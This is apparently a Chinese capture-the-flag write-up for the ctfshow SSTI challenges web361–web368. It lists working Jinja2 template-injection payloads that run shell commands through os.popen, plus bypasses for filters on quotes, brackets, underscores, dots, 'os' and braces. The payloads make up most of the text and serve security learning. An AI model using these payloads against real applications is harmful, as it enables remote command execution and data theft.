264 字
1 分钟
ctfshow-SSTI学习
web361&web362
![[3607ce69877dcf1b129d2080d79ad2e4_MD5.jpg]]
发现SSTI注入点 payload:
name={{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}
config
是当前application的所有配置,\_\_class__
获得当前对象得所有类,init
初始化函数,用来跳到globals
除此之外还可以使用:
?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}
?name={% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat ../flag').read()"))%}
获得flag
web363
方法一
发现过滤了单双引号,没有过滤点
payload:
name={%print(config.__class__.__init__.__globals__.get(request.values.a).popen(request.values.b).read())%}&a=os&b=cat /f*
通过GET方式传递命令和利用的os模块
方法二
字符串拼接
(config.__str__()[2])
(config.__str__()[42])
?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
等于
?name={{url_for.__globals__['os']}}
https://blog.csdn.net/q20010619/article/details/120493997
web364
查看佬们得wp,发现是过滤了args(即传参为request.args.a
) 不过我们上题使用的是values,所以仍可以绕过,
除values
获得全部参数外,我们还可以通过request.cookies.a
在请求包中添加cookie选项,传参之间用;
连接
使用和363相同的payload绕过
web365
与上题相同payload,过滤了中括号
web366
过滤了下划线,点,args,中括号 payload:
name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read
目前仅过滤name内的,所以将所有的敏感字符通过传参绕过
web367
看佬wp发现多过滤了os
,使用和上题相同payload
web368
发现过滤{ { } }
,用{ % % }
绕过